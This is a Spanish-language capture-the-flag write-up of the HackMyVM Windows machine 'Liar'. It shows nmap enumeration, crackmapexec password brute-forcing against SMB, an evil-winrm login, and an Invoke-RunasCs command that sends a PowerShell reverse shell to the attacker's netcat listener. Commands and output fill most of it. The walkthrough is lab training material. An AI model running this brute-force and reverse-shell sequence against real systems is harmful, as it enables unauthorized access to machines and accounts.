xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackMyVM

Liar



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, curiosamente son puertos tipicos de windows

❯ nmap 192.168.100.83 -Pn
Nmap scan report for 192.168.100.83  
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

Para hacer un reconocimiento basico podemos usar crackmapexec, al pasarle la ip por SMB detecta el nombre del equipo, este es local y no pertenece a un dominio

❯ crackmapexec smb 192.168.100.83
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [*] Windows 10.0 Build 17763 x64 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)  

Podriamos intentar listar recursos con una sesión nula pero aqui no nos funcionará

❯ crackmapexec smb 192.168.100.83 -u null -p '' --shares
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [*] Windows 10.0 Build 17763 x64 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)  
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [-] WIN-IURF14RBVGV\null: STATUS_LOGON_FAILURE

Si vamos a la web nos recuerda que es una maquina windows de nivel easy


Shell - nica


El usuario que nos muestra el mensaje es nica, podemos aplicar fuerza bruta a la contraseña con el rockyou.txt, pasados unos segundos obtenemos la valida

❯ crackmapexec smb 192.168.100.83 -u nica -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt 
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [*] Windows 10.0 Build 17763 x64 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)  
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [-] WIN-IURF14RBVGV\nica:123456 STATUS_LOGON_FAILURE 
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [+] WIN-IURF14RBVGV\nica:hardcore

Aunque tenemos una credencial válida, no nos aporta nada en los recursos smb

❯ crackmapexec smb 192.168.100.83 -u nica -p hardcore --shares
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [*] Windows 10.0 Build 17763 x64 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)  
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [+] WIN-IURF14RBVGV\nica:hardcore 
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [*] Enumerated shares
SMB         192.168.100.83  445    WIN-IURF14RBVGV  Share           Permissions     Remark
SMB         192.168.100.83  445    WIN-IURF14RBVGV  -----           -----------     ------
SMB         192.168.100.83  445    WIN-IURF14RBVGV  ADMIN$                          Admin remota
SMB         192.168.100.83  445    WIN-IURF14RBVGV  C$                              Recurso predeterminado
SMB         192.168.100.83  445    WIN-IURF14RBVGV  IPC$            READ            IPC remota

Al cambiar de protocolo a winrm nos devuelve Pwn3d! por lo que el usuario pertenece al grupo Remote Management Users y nos permitira conectarnos

❯ crackmapexec winrm 192.168.100.83 -u nica -p hardcore
SMB         192.168.100.83  5985   WIN-IURF14RBVGV  [*] Windows 10.0 Build 17763 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV)  
HTTP        192.168.100.83  5985   WIN-IURF14RBVGV  [*] http://192.168.100.83:5985/wsman
HTTP        192.168.100.83  5985   WIN-IURF14RBVGV  [+] WIN-IURF14RBVGV\nica:hardcore (Pwn3d!)

Podemos simplemente conectarnos usando evil-winrm y obtener una powershell como el usuario nica, en este punto podemos leer la primera flag con este usuario

❯ evil-winrm -i 192.168.100.83 -u nica -p hardcore  
PS C:\Users\nica\Documents> whoami
win-iurf14rbvgv\nica
PS C:\Users\nica\Documents> type ..\user.txt
HMVWINGIFT
PS C:\Users\nica\Documents>


Shell - akanksha


Ya dentro del equipo podemos enumerar todos los usuarios existentes a nivel local

PS C:\Users\nica\Documents> net user

Cuentas de usuario de \\

-------------------------------------------------------------------------------  
Administrador            akanksha                 DefaultAccount
Invitado                 nica                     WDAGUtilityAccount

El comando se ha completado con uno o m s errores.

PS C:\Users\nica\Documents>

Existe otro usuario llamado akanksha, repetimos el proceso de bruteforcear la contraseña y nuevamente pasados unos segundos obtenemos la correcta

❯ crackmapexec smb 192.168.100.83 -u akanksha -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [*] Windows 10.0 Build 17763 x64 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)  
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [-] WIN-IURF14RBVGV\akanksha:123456 STATUS_LOGON_FAILURE
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [+] WIN-IURF14RBVGV\akanksha:sweetgirl

Y aunque esta credencial es válida a nivel de smb es invalida para el servicio winrm

❯ crackmapexec smb 192.168.100.83 -u akanksha -p sweetgirl
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [*] Windows 10.0 Build 17763 x64 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)  
SMB         192.168.100.83  445    WIN-IURF14RBVGV  [+] WIN-IURF14RBVGV\akanksha:sweetgirl 

❯ crackmapexec winrm 192.168.100.83 -u akanksha -p sweetgirl
SMB         192.168.100.83  5985   WIN-IURF14RBVGV  [*] Windows 10.0 Build 17763 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV)
HTTP        192.168.100.83  5985   WIN-IURF14RBVGV  [*] http://192.168.100.83:5985/wsman
HTTP        192.168.100.83  5985   WIN-IURF14RBVGV  [-] WIN-IURF14RBVGV\akanksha:sweetgirl

Ya que tenemos una shell podriamos pensar en runas pero nuestra shell no es interactiva por lo que importamos el módulo de RunasCs para pasar ese problema

PS C:\Users\nica\Documents> upload Invoke-RunasCs.ps1

Info: Uploading Invoke-RunasCs.ps1 to C:\Users\nica\Documents\Invoke-RunasCs.ps1  

Data: 117712 bytes of 117712 bytes copied

Info: Upload successful!

PS C:\Users\nica\Documents> Import-Module .\Invoke-RunasCs.ps1
PS C:\Users\nica\Documents>

Haciendo uso de la función Invoke-RunasCs y pasandole las credenciales de akanksha podemos ejecutar una powershell e indicar que la envie remotamente

PS C:\Users\nica\Documents> Invoke-RunasCs akanksha sweetgirl powershell -Remote 192.168.100.70:443  
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-276a1c$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 1604 created in background.  
PS C:\Users\nica\Documents>

Al hacerlo recibimos en nuestro listener una powershell interactiva como akanksha

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.83 
Windows PowerShell 
Copyright (C) Microsoft Corporation. Todos los derechos reservados.  

PS C:\Windows\System32> whoami
win-iurf14rbvgv\akanksha
PS C:\Windows\System32>

El usuario akanksha pertenece al grupo local personalizado llamado Idministritirs sin embargo no tiene privilegios que nos ayuden a movernos a otro usuario

PS C:\Windows\System32> whoami /groups

INFORMACIÓN DE GRUPO
--------------------

Nombre de grupo                              Tipo           SID                                            Atributos                                                               
============================================ ============== ============================================== ========================================================================  
Todos                                        Grupo conocido S-1-1-0                                        Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
WIN-IURF14RBVGV\Idministritirs               Alias          S-1-5-21-2519875556-2276787807-2868128514-1002 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Usuarios                             Alias          S-1-5-32-545                                   Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\INTERACTIVE                     Grupo conocido S-1-5-4                                        Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
INICIO DE SESIÓN EN LA CONSOLA               Grupo conocido S-1-2-1                                        Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Usuarios autentificados         Grupo conocido S-1-5-11                                       Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Esta compañía                   Grupo conocido S-1-5-15                                       Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Cuenta local                    Grupo conocido S-1-5-113                                      Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Autenticación NTLM              Grupo conocido S-1-5-64-10                                    Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
Etiqueta obligatoria\Nivel obligatorio medio Etiqueta       S-1-16-8192                                                                                                            

PS C:\Windows\System32> whoami /priv

INFORMACIÓN DE PRIVILEGIOS
--------------------------

Nombre de privilegio          Descripci¢n                                  Estado
============================= ============================================ =============
SeChangeNotifyPrivilege       Omitir comprobación de recorrido             Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado

PS C:\Windows\System32>

Sin embargo si con icacls miramos los privilegios de la flag root.txt este grupo tiene privilegios F o full sobre este archivo por lo que podemos leerla sin escalar

PS C:\Users\Administrador> icacls root.txt
root.txt NT AUTHORITY\SYSTEM:(F)
         BUILTIN\Administradores:(F)
         WIN-IURF14RBVGV\Administrador:(F)
         WIN-IURF14RBVGV\Idministritirs:(F)
         NT AUTHORITY\SYSTEM:(I)(F)
         BUILTIN\Administradores:(I)(F)
         WIN-IURF14RBVGV\Administrador:(I)(F)

Se procesaron correctamente 1 archivos; error al procesar 0 archivos  
PS C:\Users\Administrador> type root.txt
HMV1STWINDOWZ
PS C:\Users\Administrador>